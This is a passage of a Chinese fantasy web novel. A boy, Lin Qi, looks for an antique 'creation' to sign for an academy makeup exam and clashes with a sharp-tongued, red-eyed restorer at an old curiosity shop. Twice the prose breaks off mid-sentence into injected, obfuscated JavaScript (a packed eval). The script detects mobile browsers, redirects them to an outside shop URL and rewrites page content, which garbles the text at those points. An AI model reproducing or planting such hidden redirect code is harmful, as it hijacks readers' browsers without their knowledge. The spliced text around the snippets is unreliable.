街边几排老房子颜色越发沉郁,像一张张被水泡过的明信片,字迹模糊,说不清要寄给谁。 可能因为空气太闷,林栖有点心不在焉,凌壑一路上逗了几次,都没能把他逗笑。 观沄也比平时话少。 老街本就僻静,赶上天气不好,店铺大多闭门谢客,远远看去,只有一家热闹—— 古董造物店外站了两排客人,长的那队排了十几个,短的也有七八个。 凌壑道:“看来邀请真没少发。” 他迈开长腿,乐颠颠地过去打听,片刻回来汇报情况,两队人不一样,左边的有邀请,右边没有。 右边都是家长带着孩子,特意为了补考题目来的,因为情况特殊,店主破例同意他们进店,不过要先等着预约客人都看完了,他们才能进去。 参观限时五分钟,每次只能一个人进。 凌壑之前想着,他和观沄都有邀请,但林栖没有,就又找人要了一张。按上次的经验,借别人的邀请没用,但来都来了,好歹试试。 他让林栖排在前面,万一不行,就等出来之后再排另外一队。 潮湿的水汽裹着屋脊房梁,林栖进门时,闻到了一股比上次更冷凉的木质香。 门厅里的那张屏风撤了,窄门侧旁摆了一张黑瘦单薄的椅子。 修复师靠坐在椅子上,单手拿着一本薄薄的书,掌心摊开,食指轻轻托着书脊。 这本书有点奇怪,通体漆黑,封面覆着哑光的革纹材质。 见林栖进门,修复师视线略微一抬,又落回书里,闷咳一声开口:“有邀请么?” 目光沿书页扫过一行,补充道:“有邀请的二楼左转,没邀请的三楼右转。” 林栖想着自己是来蒙混的,不好正面回答问题,于是举起装了邀请函的信封,隔空朝他晃了晃。 薄而脆的纸张掠着空气发出轻响。 修复师看着书页,朝他抬了抬手,“拿来我看。” 林栖走过去,隔着一步距离递出信封。 修复师却没有接,视线依然落在书里,拇指侧缘捻着纸面,轻轻翻过一页,略为抬眸,余光朝林栖浅浅一扫,道:“换一只手。” 说完又闷咳几声。 林栖看出他似乎病了,眉宇间有一层郁色,人很苍白,声音也有一点哑。 他不想跟病人计较,把信封从右手换到左手,重新递出。 对方却又道:“手转过来。” 林栖:“……” 正常人往外递信封时,都是手腕朝上。拇指下压,四指上托,才好保持平衡。 如果把手腕翻转过来,就会变成捏着信封往外递的姿势,自带一种微妙的嫌弃感,很奇怪,也不太礼貌。 林栖在心里默念:他有病他有病他有病…… 不情不愿地转过手腕,捏着信封递了出去。 他伸着手晾了几秒,这位有病的修复师才不甚在意地抬起视线,朝他手上看了一眼,却依然没接信封,只是缓缓合书起身。 有那么一瞬间,视线相触,林栖看到这人眼里也带病气,双眸红色又沉又浓,仿佛掀开伤疤,渗出血腥。 林栖心口一滞,有些分神。接着就见对方隔着一些距离抬手,将那本书朝他递了过来,却不是要把书给他,动作在他颈前顿住,微微一斜,书脊末端在他右侧衣领挑了一下。 这动作,就仿佛林栖领子里藏着一条剧毒的蛇,只要一点毒液就能致人死地,所以不能直接动手,要先打草惊蛇。 只短短一瞬,修复师就收回动作,垂着视线看他,脸上表情很怪,眉间皱着反感,眼底透出厌恶,仿佛多看林栖一眼都烦得想死。 林栖:“……” 烦你还看? 片刻,修复师漠然移开视线,又翻开手里的书,冷淡道:“你上去吧。” 哦。 林栖已经来过一次,不需要有人带路,径直穿过窄门上楼,来到展厅。 外面天气比之前更加阴沉,展厅又没开灯,老式展柜沉默矗立,好似一排排的墓碑。 林栖走进展厅,把脚步放得很轻,但还是能听到一声声的空寂回响,让人难以集中精神。他一边走,一边捏着手指,摸索许久才后知后觉,食指关节上的创可贴不见了。 出门时明明贴了,掉在哪儿了? 心底忽然升起一种难言的失落感,林栖快速看完几排展柜,转身朝外走去。 展厅外面开了灯,一片冷白萧索,被门框拘成竖立的长方形,远看比那些黑沉沉的展柜更像墓碑。 白色的墓碑,压着崭新的坟。 林栖怔了怔神,下意识地放缓脚步。 他有点不想往前走了。 这时门边传来一阵闷咳。 林栖看过去时,门外冷白的光连同一道暗色剪影一起映入眼中。 低黯的少年嗓音带着病气,从门边幽幽传来,“你上次说,想找林叙的造物,为什么?” 隔着一段距离,林栖看不清对方表情,不过周围很静,能听出声音里的细节,语气依然透着冷淡的反感。 于是林栖也冷淡回他:“好奇。” 对方又问:“哪种好奇?” 林栖:“……” 好奇还分品种的吗? 他敷衍道:“各种好奇。” 对面静了静,冷淡的语气中又多了些许不耐烦,“那今天呢,来找什么?” “能署名的。”林栖回答。 “署名……”少年缓声重复,像在仔细拆解着这两个字,片刻道,“你也参加补考,今年几岁?” “十二。” 林栖说完,单薄的少年身影缓步走近,在阴沉光线下垂眸看他,眼中透着令人反感的审视,“十二?你确定?” 林栖:“……” 不确定。 但是。 管得着吗? 他不客气道:“那你说是几岁?” 对方像是根本没在听他说什么,又问:“你叫什么?” 林栖也问:“你叫什么?” 对方皱了下眉,没有回答。 很好,聊不下去了。 沉默对峙片刻,修复师冷淡提醒:“五分钟已经到了。” 林栖“哦”了一声,心道,多亏你在这里浪费时间。 修复师似乎要亲自将他“扫地出门”才能放心,转身在前面带路。林栖走在后面,一路听着断断续续的咳嗽声,心中继续默念:他有病他有病…… 别跟他一般见识,否则会被传染。 两人一前一后下楼,修复师手腕轻轻搭着木质扶手,临近转角时,手指轻轻向下一敲,再抬起时,指间已经多了一张名片,颜色像是夜幕,深郁近黑。 走下最后一级台阶,他回身抬眸,将名片递到林栖手边,“三天后再过来,我这有件造物很适合你。” 名片边缘触到皮肤,林栖像被极冷的冰锥刺了一下,指节本能一缩。 少年收回视线,朝窄门方向一指,“不送。” 出门之后,林栖看着捏在手里的名片沉默:“……” 这张名片上甚至连一个人名都没有,只在正面用古语写着店名,细瘦的暗金色,带着一点斑驳铜锈似的反光。 嗯……很好看的字体,配色和细节也很精美。 但是,他为什么要接? 对方这么有病,拿着他的东西,就不怕被传染吗? 林栖站在门外,长长呼了口气。 空气似乎比进店之前更闷,水汽蒙在身上,几乎可以感觉到重量。 观沄和凌壑也去店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643451|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里逛了一圈,出来时说,没看到很合适的造物。 林栖很想问问,他们有没有被那个“有病”刁难,但又问不出口。 默默走了一段,他忽然觉得哪里不对,回头朝那家店看了一眼,门外依然排着两队人,左边的预约客人只剩两个,右边则排了长长一行。 确实不对。 既然规定了预约客人先进店,那就没有两个选项,为什么还要问他有没有邀请?又说什么二楼三楼…… 这人果然病得不轻。 往前走了一段,观沄道:“明天我们再去逛几家店,多找找看。” 林栖“嗯”了一声。 隔着布料,捏了捏放在衣兜里的名片。 该不该把这件事告诉观沄? 肯定是应该的。 但是…… 好烦。 再说吧。 一路上,凌壑聒噪着介绍学城里的其它店铺和私人藏家。 回到家后,林栖忍不住好奇,为什么一定要找古董造物?还要中级? 凌壑跟他解释,在一件造物上,可以同时存在三种标记:“造物印”“控制印”和“署名”。 署名简单,但效力也差。 只有当一件造物没有造物印和控制印时,才能被别人重新署名。 其中“控制印”可以变更或清除,而“造物印”并不是任何一种可见形式的标记,它是造物师和造物间的“关联性”,只有在造物师去世以后,这种关联性才会消失。 所以古董造物适合署名。 等级问题就更简单了,这次补考,考生有一百多个,而名额只有四个。学校说要“择优录取”,怎么优?难道是比谁的名字写得更漂亮吗? 当然是比谁的造物更好。 初级造物容易找到,不足以让考生脱颖而出,想要保证拿到名额,造物等级肯定是越高越好。 即使署名中级造物的考生超过四个,在同等级的情况下,也会进行二轮评选,还有周旋余地。 而“高级”几乎不用考虑。 古董造物本来就少,能达到这种级别的更是凤毛麟角,在一场补考里,不可能突然冒出四件高级造物。 林栖懂了,中级造物是一个很稳妥的选项。 玻璃窗上忽然传来一阵噼啪声响。 下雨了。 松林里渐渐漫起一层雾气。 阴沉夜幕衬得雾色苍白,仿佛凝着冷霜。 雾气深处,几处透明黑影微微一晃,如败絮随风,散入雨幕,又在远处悄然聚起,如同夜归的鬼影,伴雨声踽踽前行。 老街夜市亮着灯,几点火光在雨中更显萧索。 古董店大门紧闭,雨水浇灭了屋檐的灯,整间店铺黑沉沉的,仿佛就要消融在浓稠的夜幕里,只剩一片极模糊的轮廓。 店主独自站在二楼窗边,深郁红瞳倒映远处街景。 潮湿厚重的空气卷动窗帘起伏,他闷闷咳了一声。 许久,老旧的家具和墙缝之间渗透出起伏的黑影,渐渐凝成人形,蠕行至店主身后,躬身靠近,无声低语。 语毕,黑影后退一步,悬空缩成薄薄一片人形剪纸,像是祭扫时的纸钱,只需要一点火星,就无声燃烧起来,落地时,只剩浅浅一撮灰烬,风一吹就散了。 雨打着老式窗户,顺着光滑的玻璃表面滚落,透明光影映照在苍白的少年面孔上,画出一行一行水痕。 他微垂眼眸,隔着厚重雨幕遥望松林,在心中反复推敲那些细节。 那孩子名叫林栖,也姓林。 和少年时的林叙有着同一张脸。 却不是他。 林叙左手食指有伤,右侧锁骨前端也有。 而且—— 林叙已经不在了。 他遗留的造物上早就没了他的印记。 那不会是他。 不可能。 14. 第 14 章 清晨,雨停了。 松针上的雨滴震落下来。林栖躲在院门前的雨搭下,看松鼠在枝头晨跑,直到观沄叫他吃饭,才扶着门框起身。 蹲太久,腿麻了…… 今天的任务还是出门逛店找造物,第一家要去的店名叫“金阁”,位于上城区,在学城里很有名气。 近年来最有名的几件天价造物,都是从这家店里卖出去的。 进门时,凌壑递了凌家名帖。 制服笔挺的中年店长亲自下楼接待,跳过一层二层,直接把人领到位于第三层的贵宾专区, 这区一向只对会员开放,今天算是破例卖个人情。 精美的独立展柜里摆放着古董造物的复刻模型,供客人直观挑选,而造物本体则存放在店铺后区,由专人负责维护。 每一件造物都配有漆面描金的介绍手册,附带专业修复师的维护记录和鉴定师的评级证书。除此之外,店铺还为五星会员准备了限量定制款的专用收纳箱,并赠送一次免费的上门维护服务。 商品介绍牌上明码标价,林栖作为文盲,看不懂介绍,但会数零。 平均两三个零,似乎不是很贵。 凌壑话多,跟林栖叭叭讲过一些当地物价,比如苹果5元一颗,米饭2元一碗,普通面包1元一根。 如果租房,单人间每月2-4千,套间5-8千,独栋1-3万。 不过林栖并不知道,这只是下城区的标准,跨区之后,房租价格至少翻倍。 且在学城不止一种计价单位,除了“元”之外,还有“金”。 两种单位除了符号不同,标价所用颜色字体也有明显区分,黑色是“元”,金色是“金”。 眼前这个介绍牌上,就写着明晃晃的金色数字。 而金和元的换算比率是——1:500。 凌壑随意逛了两圈,问店长道:“怎么都是初级?” 店长微笑回答:“您看得没错,都是初级。这些初级造物维护良好,功能实用,都很适合署名,而且价格划算。您可以先看看喜欢哪些,我再根据您的喜好重点推荐。” 凌壑随手捋了一下发尾,笑道:“难怪没有看顺眼的,您这些都太划算了,可是我就喜欢那些没有性价比的。” “那您真是很有眼光。” 店长做个请的手势,把几人带往另外一个展厅。 这是一间超过五十米的长厅,十几只定制展柜纵向排开,里面同样只有模型,实物要在交付定金之后才能预约鉴赏。 和之前不同的是,这区域的每只展柜上,都立着一面金色小旗。 林栖看不懂旗子的意思,观沄面朝展柜若有所思,凌壑则不把自己当外人地上前一步,随手摘下一面小旗,逗猫似的朝林栖晃了晃,问店长道:“这么巧?全都被预定了?” 店长微微颔首,浅笑回应:“是的全部,不止您看到的这些,就连本店目前唯一一件镇店级的名家造物也被定了。” 凌壑玩味一笑,挑眉问:“什么时候定的?被谁定的?” 店长似乎早就猜到有此一问,微微鞠躬以示歉意,“小店能维持至今,全靠各位藏家照拂,请恕小店不能透露顾客个人信息。 不过……您也是为了这次考试来的,应该知道,这次的考题是昨天上午九点放出来的,而小店是在九点零一分接到的预订电话,并于九点零五分收到了第一笔的定金。” 空气静了一瞬,凌壑伸手指过一排展柜,“所以这些都是同一个人定的,而且全部付了定金?” 店长没有正面回答,只道:“小店预定一向以定金为准,金额按藏品总价10%计算,预定之后,不论因为何种理由最终未能成交,定金均不予退还。” 凌壑抑扬顿挫地“哦”了一声,“好大的手笔,这位大收藏家是打算把你们家店买空了,再另外开一家吗?” 店长礼貌一笑,并不回答,以示自己听懂了凌壑的调侃。 当然不可能全部买走。 凌壑:“这位客人打算什么时候来挑?” “客人那边说临时有事,具体时间还不能确定,但为了考试,一定会赶在时限结束之前过来。” 考试限时七天,等他选完都到最后一天了,别人还怎么选? 对面的这位考生,或者说考生家长,不但消息灵通,而且行动迅速、心黑手狠,自己抢跑还不够,跑完还要把路炸了,把别人都踹进沟里。 凌壑缓缓鼓掌,赞叹道:“占着茅坑不拉屎啊。不得不说,这位客人撅屁股的姿势可是够熟练的,一看平时就没少窜稀。” 这话和展厅格调实在不搭,中年店长礼貌而不失尴尬地笑笑,“您真风趣,或者几位先到外面坐坐?我把图册拿来,几位可以再选选看。” 凌壑手指拨弄着金色小旗,挑眉道:“可是我就想选你家最贵那款。” “您这就是给我出难题了。”店长虽然这样说,但并没咬死拒绝,只是笑着,微微眯起目光,打量他,又打量观沄。 意思很明显,这事还可以谈。 有定金就有违约,不过得搭上店铺信誉,要想成事,就得出得起这个价钱。 店长一双淬过火的眼睛,虽然只收了凌壑的名帖,但从一开始就看出来了,观沄也不是一般人。 凌壑拿着旗子,朝观沄眼前一晃,观沄偏头避开。 凌壑笑问:“你觉得呢?” 观沄沉默片刻,朝店长道:“打扰了,如果预定客人提前选好,请及时联系我们。” 店长礼貌送客。 离开之后,他们又按计划去了另外几家造物店。 其中一家位于城区交界处,店面极小,好像面包里的奶酪片一样,夹在另外两家大店之间。 店主是个笑呵呵的老人,说起古董造物如数家珍,但店里有且仅有一件中级造物。 造物是一只玩偶小熊。 老人感慨,说这是一件有故事的造物,是身患绝症的母亲特意为年幼的女儿定制的,在她走后,小熊代替她,陪伴小姑娘度过了整个童年。 不过这个故事发生在一百年前,造物小熊几经转手,损毁之后又遭风蚀雨打,表面绒毛斑秃,眼睛配不成对,内里几乎完全空了。 哪怕是一只从初夏风干到隆冬的蝉蜕,看起来也比这件造物结实一点。 然而,就是这样一件空壳,也已经被预定了。 老板说,他当时有些犹豫,但对方为表诚意,把定金比例提高到了70%,足够这家小店维持半年……他很难不接受。 剩下几家情况也是一样,包括鉴定师的个人工作室和收藏家的私人宅邸。在整个学城范围内,市面上所有适合署名的中级造物都已经被预定了。 几人在外面吃了晚饭,回程时夜色已深。 路上,林栖倚着车窗睡着了,观沄帮他垫好头枕,收回视线时,神色逐渐从温和转为冷清,睫影下方透出一股倦意。 “我刚还在想呢,你还能再装多久。”凌壑坐在前排,勾着椅背回头看他,“模范家长不好演啊~” 观沄没理他,甚至连眼皮都没抬一下。 凌壑继续道:“凭你的本事,真想截胡还能截不到么?实在不行回家一趟,或者我替你回去一趟也行。” 观沄依然不理。 凌壑:“都说了这次是考家长,你不累谁累?” 片刻,观沄终于“嗯”了一声,道,敷衍道:“你说得对。” 从拿到考题的那一刻他就知道,这次考试是要看家长们如何各显神通,利用金钱人脉权势地位,为孩子拼抢到一个入学名额。 以前他还在任教时,也见过这种考题,但当时的要求是署名+控制。 中级以上造物都有“生命”属性,能让中级造物认可,本身就是一种天赋证明。 考试要求学生家境优渥且有天赋,不算公平,但勉强还算合理。 而这次考试已经完全背离了教育初衷。 对历史悠久的造物学院更是一种不加掩饰的羞辱。 观沄个人对此深恶痛绝,然而站在林栖监护人的立场上,他又不得不承认,这才是他想要的结果。 如果林栖一定要去上学,他希望林栖在别人眼中是一个“平庸的小少爷”。 同学觉得他天赋平平,就不会嫉妒他,知道他家境殷实,就不敢欺负他。 这样,林栖未来几年就能安稳度过。 窗外,夜幕下的松林蒸着薄薄一层雾气。 车子在小路尽头停稳,凌壑下车拉开后门,要背林栖起来,但刚一伸手就被观沄拦住。 “好好好,你儿子,你自己背。”凌壑举手投降,顺便扯下发圈,重新绑了一遍头发。 观沄却也没背林栖,只是屈指,在男孩儿额头抵了抵,温声道:“醒醒,到家了。” 林栖睁开眼睛,揉了揉,朝观沄投去茫然的目光。 其实他没睡着。 本来只想闭上眼睛待会儿,但观沄给他垫了枕头,他也就配合着继续睡了。 所以,凌壑说的那些他全部都听见了。 晚上回去洗漱之后,他对着镜子练了几遍表情,拿着那张夜空色的名片,敲响了书房的门。 修长的立式台灯下,观沄合上速写本,回眸朝他微笑,“今天走累了吧?” 林栖摇头,走过去,将名片托在手心里给观沄看,把这件事跟他说了。 当然,他只说了重点,省略了许多细节。 观沄拿起名片看了看又放回林栖掌心,“为什么之前不说?” 林栖做出对着镜子排练过的表情,垂着头,微微皱眉,支吾道:“那个修复师脾气不好……我有点怕他。” 观沄也见识过那位的臭脾气,了然一笑,随即又微皱眉头,“是不是他欺负你了?” 林栖摇头,刚吹干的头发蓬松柔软,随着动作微微晃动。 他犹豫着,闷声道:“他眼睛有点吓人……” 小孩子总会因为各种奇奇怪怪的理由感到害怕,又因为别扭的自尊不愿意向家长坦白,却也不敢一直瞒着,所以拖着拖着,还是说了。 林栖现在的反应很好理解。 观沄倾身向前,“可是再去一次又要看见红眼睛了,你不怕么?” 林栖微微撇了下嘴,“没事,我不看他。” 林栖确实是这样想的,不管对方怎么“有病”,只要他不看不听不理,对方也不能把他怎么样。 好,就是这样。 没问题。 只需要再去一次就够了。 就这一次。 以后再路过那条老街,他都绕着道走。 两天时间,足够林栖搭建心理防线。 在踏上老街的石板路前,他觉得,自己已经对“有病”完全免疫了。 可当街道两旁的铁皮风铃沙哑响起,他背上还是起了一阵颤栗。 好像不止没有免疫,还对“病毒”更敏感了。 林栖脚步在青石砖上一顿,心里忽然很慌,仿佛莫名其妙欠了别人几个亿,现在非但不跑,还要主动送上门去。 从街角到店门前的这段路,他完全是靠着自我催眠走完的。 回过神来,才发现今天的老街异常热闹,十几辆豪车从店前一直排到街尾。 衣着得体的家长们堵在门口,顶着大太阳,接力赛似的自报家门,他们的孩子则在一旁的树荫底下排队等着。 凌壑迈着长腿过去,跟那些家长附和几声,回来时叹着气道:“竞争很激烈啊,店还没开门,队已经排了这么长了。” 在来的路上,凌壑已经分析过了,这家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643452|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店主恐怕很有心机,想趁着考试狠捞一把。 先是一反常态,发了一堆邀请,把人叫来参观,等人来了,却又只把一些普通造物放在店里,让人无从下手。 这样一来,店铺既收获了关注度,又避免了像其他店铺一样,被人占着预定,无货可卖。 等所有家长像他们一样四处碰壁,发现市面上已经没有造物可以选的时候,店主只要稍微透出一点风声,就能把人引来。 林栖能拿到名片,别人肯定也能拿到。这是放长线钓大鱼呢。 每个家长嘴上都扎着一根钩子,被鱼线拉着,就算跑得再远,也得乖乖回来,任凭店铺坐地起价。比正常市价翻个两三倍都算少的。 林栖一路听着凌壑分析,但一句也没听进心里。 到了店门外,观沄领他过去排队,他就乖乖排着,和倒数第二名隔着半米距离站在队尾,视线放空,长睫低垂,已经提前开始了不听不看不理的入定状态。 队伍里有几个孩子认出林栖,议论声在一颗颗小脑袋之间嗡嗡传递—— “……他就是画院考零分的那个?” “我之前都不知道还有零分……” “我听我哥说的,这是画院有史以来唯一的一个零分,请注意,是唯一的……” “哇~长见识了~” “好奇怪啊,不都说他是天才吗?” “而且就连老僵尸也不选他,我还去考了呢,笔试85分。” “好烦呀,我不想去造院。” “谁想去造院啊,我想去祈院……” 这些声音像一条小溪环绕在林栖身边,但一朵水花也没进到他耳朵里。 他在忙着入定。 片刻,学生的议论声和家长的谈话声一起戛然而止,周围静得突兀,好像用橡皮在混乱的画面中硬擦出了一道留白。 风铃声从留白处乘虚而入。 林栖心头一跳,忽然就破了功。 这时,老旧店门打开,先从门缝里伸出一把扫帚,左右挥挥,接着走出一道瘦小人影。 ——是那个名叫独角仙的男孩儿,头顶那根黑色尖角在烈日下投着长长的影子,落在下巴上,像一撮山羊胡子。 门边家长一边躲着扫帚,一边试图跟他搭话,他则一边飞快扫地,一边左右张望。 忽然,他视线朝队尾一停,拎起扫帚就朝林栖走了过来。 扫帚带起一层白烟,独角仙捂着嘴道:“跟我进来。” 老老实实排着队的林栖:“?” 独角仙用手扇了扇灰,又呸呸吐了两口气,见林栖站着不动,也不跟他废话,伸手一抓,就拽着他的胳膊往店里走,一边走还一边抡动扫帚,把两边碍事的人顺手掸开。 买得起古董造物的家长都是体面人,对扫帚表现出了足够的敬意,纷纷向后退避,等回过神来,就见独角仙已经拉着林栖到了门口。 有个家长反应很快,当即质疑:“怎么回事?这孩子是刚来的,怎么先让他进?” 旁边一人也回过神来,“对啊,我们孩子才是第一个来的,都好好排着队呢。” 其他家长跟着附和,门外顿时群情激昂。 独角仙手上一推,把林栖送进门里,反手关了大门,自己在外面杵着扫帚转身,“谁让你们排的?有预约吗?没看见关着门吗?” 确实,关门就是谢客的意思,家长们没有提前预约,本来也只是过来排着试试。但他们只能接受所有人都排不到,接受不了别人可以而自己不行,尤其不能容忍有人插队。 人群中又爆出一阵声讨。 木门并不隔音,在店里也能听得清清楚楚。 林栖看到一楼门厅又支起了屏风,窄门旁边没有凳子,也没有人拿着书坐在那里。 他犹豫着向前走了几步,试图找到之前那种入定状态,却迟迟没能成功,连木地板上反弹的脚步声响也听得丝丝分明。 忽然“吱呀”一声,窄门被人从内推开。 少年斜身侧着一步,单手撑在门上,站得十分随意,稍稍侧眸,一双深红色的眼睛朝他打量过来。 林栖站着没动,默默跟他对峙。 隐约觉得,这人和上次不太一样。 是因为病好了吗? 片刻,对面开口,冷淡的少年嗓音透着些许漫不经心。 “店主让我跟你一起去上学。” 林栖没听懂。 每个字都听见了,但是没懂。 对面淡淡“哦”了一声,“我忘了,你没长嘴。” 这一刻,林栖提前做的心理建设全部成了废纸,漫天抛洒下来,投落错乱的光影。 他隐隐觉得哪里不对,非常不对,“跟我上学?什么意思?” 对面一脚抵住房门,背朝门框一靠,抱起手臂,“你不是要去造院上学?” “……对,所以呢?”林栖心跳闷闷的快了起来。 “所以?”少年像是被气笑了,抿唇闭了一下眼睛,“你今天是干什么来的?出门忘了带脑子吗?要不要等你回家装好脑子再来?” 林栖顿时很想回他一句:你才没有脑子,说话这么冲,脑壳里面全是辣椒油吧?怪不得眼睛那么红。 他一边觉得这人性格比以前更差了,一边想着,他差他的,和自己没关系。 他忽略掉那些嘲讽,只是回答问题:“我来选造物。” “对,你来选造物——”少年唇角勾着一抹不驯,用一种看智障的眼神看他。 “然而你这两颗水汪汪的眼珠子,却连造物都认不出来。” 认不出…… ……什么? 林栖被自己的想法震惊了。 但又好像不是特别震惊…… 他面色平静,看着对面,许久才眨了一下眼睛。 15. 第 15 章 古董店门外。 家长们吵了一会儿,发现没用,逐渐冷静下来,听着自家孩子议论,后知后觉,之前进店的孩子不是一般人,带他来的两个成年人更不一般,其中一个就是观沄。 他们大都没见过观沄,但久闻大名,根本不敢得罪。 他们之所以愤愤不平,一方面是因为见到有人享有“特权”,可以不排队就进店,另一方面是因为,他们不理解这种“特权”源自哪里。 不过现在没事了,观家的孩子有特权很合理,他们完全能够接受。和规矩相比,弱肉强食才是他们习以为常的生存法则。 家长们默契地和观沄保持距离,又因为不了解这背后的利害关系,对店员也比之前客气。 一个家长朝独角仙道:“这是我的名片,想跟你们店主当面谈谈。” 独角仙低头抠着扫把杆子上的倒刺,一脸消极怠工的颓丧,拖沓着语调,“可是我们店主他不在啊……” “另外再约时间也可以,你看下午行吗?” “下午也不在啊。”独角仙指甲掐住小小一根倒刺,猛地一扥。 “那你说个时间?我这边也提前安排一下。” 独角仙抿着嘴唇,扯出一个标准假笑,“实话跟你说吧,我们店主平时根本不来店里,连我都没见过,别说你了。” 家长不信,“如果店主长期不在,那平时谁管事情?” “所以就是没人管啊……你去外面打听打听我们家的风评吧。”独角仙一脸我也很无语的表情,“整家店就两个童工,我负责扫地,另外那个负责得罪客人,能开到今天都算奇迹。” 他个子矮,但嗓门儿大,“不过你们也不用生气,这店应该马上就倒闭了,也算恶有恶报吧,而且倒都倒了,别人还能说什么呢?毕竟‘人死为大’,大不了就是‘入土为安’。” 家长:“……” 学生:“……” 一旁,凌壑朝观沄凑了凑,“看来这位不止负责扫地,还兼顾得罪客人。” 观沄没说话,只看着店门方向。 又过片刻,紧闭的木门终于开了。 身形瘦小的男孩儿低头迈过门槛,脚步明显有些迟疑。 似乎不太顺利。 店外瞬时一静。 所有人都看到,林栖是空着手出来的。 观沄走过去,略微俯身,影子投落在林栖身上,在炎炎烈日下遮出一片阴凉,温声问:“没选到么?” 林栖迟疑着摇了摇头,漆黑澄澈的眼中透出些许茫然。 观沄又凑近些,“那选了什么?” 林栖抿了一下嘴唇,还没挤出措辞,身后的老式弹簧门就再次被人推开,唱戏开嗓似的发出“吱呀”一声。 少年修复师一身简单利落的外出服,踩着一双越野皮靴,双手戴着户外手套,提着一只老式皮箱推门出来,在所有人的目光注视下,径直走向林栖。 箱子四面钉着黄铜护角,居中绑着皮质扎带,侧面上锁,一看就很适合存放贵重物品。 修复师在林栖身侧站定,拎着箱子的手腕微微一抬,理所当然道:“贵重物品,送货上门。” 林栖默默朝他看了一眼。 十分钟后,限量款的私家车上。 凌壑双手撑着方向盘往后看,修复师带着箱子坐在第二排,林栖和观沄则坐在最后。 车子刚一启动,凌壑就朝修复师问:“诶,箱子里的东西什么等级?” 修复师垂眸,拆下一只手套,又解开交叉在掌骨上的黑色绷带,以几毫米的误差调整角度,重新绑好,而后才淡淡回道:“我只负责送货,陪聊是另外的价钱。” “这样啊~”凌壑无所谓地一笑,“听说你们店主常年不在,店都快倒闭了,是该努力发展一下副业。” 修复师仿佛听到了什么无聊的催眠段子,撑着眼皮斜他一眼,靠着椅背,闭上了眼睛。 凌壑又嘴贱地逗了几句,见这小孩儿逗不动,于是找上观沄,聊着最新版的怪物传说提神。 据说一连消失好几天的幽冥忽然又出现了,而且目击地点距离学城只有五十公里,警备队紧急加强布防,暂时还没得到新的目击消息,但所有人都猜测,幽冥在被围困之后逃脱,现在突然出现在学城周围,肯定是要搞点事情。 一路上,林栖格外安静,仿佛自己把自己绑架了,从头到脚,几乎纹丝不动。 观沄以为他选造物选得不太顺利,而事实上,他此刻的心情就像出门捡到流浪猫狗,没经家长同意就给带回来了,现在完全不知道该怎么解释。 而且……别人捡的流浪猫狗都是小小一只,他却捡回来那么大一个。 他无数次在心里想象,能不能打开车门,把这个人连同他的箱子一起扔出去,只当什么事都没发生过。 或者在车底挖个洞,让这人直接掉出去。 又或者…… 他就这样一路畅想,眼睁睁看着某人跟他们一起到了目的地,下了车,爬了楼梯,进了院子…… 进屋之后,观沄给他选了一双奶白色的薄棉拖鞋,又多拿出一双新的客用拖鞋。 蹲下换鞋时,他垂着脑袋偷瞄身后,看到某人拎着箱子,单手扯开鞋带,脚跟在门框一磕,就将短靴留在门外,一脚踏了进来。 动作细节实在很有活人感,非要说的话,比他自己还像真人。 这人怎么会是造物? 等等……是不是他误会了? 他先入为主,以为修复师本人就是造物,所以修复师说要把自己“送货上门”,那箱子里面当然装着行李…… 但是…… 林栖忽然重新打量那只箱子,同时余光注意到,凌壑也在瞧着同个方向,而观沄虽然没直接盯着箱子看,却也在旁边等着。 果然,他们都觉得造物在箱子里。 只有自己脑回路不太正常。 凌壑斜对着试衣镜,拨了拨耳骨上的银钉,又拆下发圈,手指梳着长发重新绑好,朝修复师道:“送、货、上、门,现在送也送了,门也上了,总该能看了吧?” 修复师无所谓地抬了一下唇角,淡淡道:“你想怎么看?” 几分钟后,客厅。 手提箱摆在矮桌上,修复师背靠窗户单独坐在一边,观沄带着林栖坐在对面。 凌壑屈着一双长腿蹲在桌边,一张帅脸几乎凑在箱子上,打量片刻后道:“你这箱子好像不太值钱吧?这能配得上中级造物?” 修复师略微一抬视线,“看来你很懂造物?” “我懂风险,你看,这锁也不太结实,一撬就开,而且你又是个童工,今年多大?有十三吗?” 凌壑笑着朝他身上打量,“像你这样的,如果是往危险地区送货,简直就是哭着喊着请强盗来打劫你。” 这话乍听之下像是找茬,但也不是没有道理,正常不会派这样一个十几岁的单薄少年运送贵重物品,除非他身上藏着什么别人看不出的本事,足以一力护住价值上百万的货物。 少年修复师比想象中更沉得住气,不解释也不反驳,只目光静静扫了过来,片刻“哦”了一声,道:“懂了,你们这三个人,六只眼,加起来也凑不出一个人会看造物。” 林栖忽然有种冲动,想拿创可贴把这人嘴巴糊上。 心情大概类似于给流浪猫剪指甲,防止他一回家就闯祸。 凌壑笑道:“这都被你看出来了?我肯定不懂造物,但是——有人懂啊,我们这边已经约了鉴定师,说话就到。” 观沄闻言,目光朝凌壑一斜,脸上仿佛写着:我们?我怎么不知道? 凌壑灿然一笑:现在知道也不晚嘛~ 林栖垂着眼睫,屈指蹭了一下鼻尖,同时朝对面偷瞄一眼,那么不巧,正和某人撞上视线。 冷淡的红色深处,是一抹事不关己的笑意,像是等着要看什么热闹。 好像哪里不对。 这时外面响起敲门声,凌壑起身伸个懒腰,片刻领进来一位发色灰白的老人。 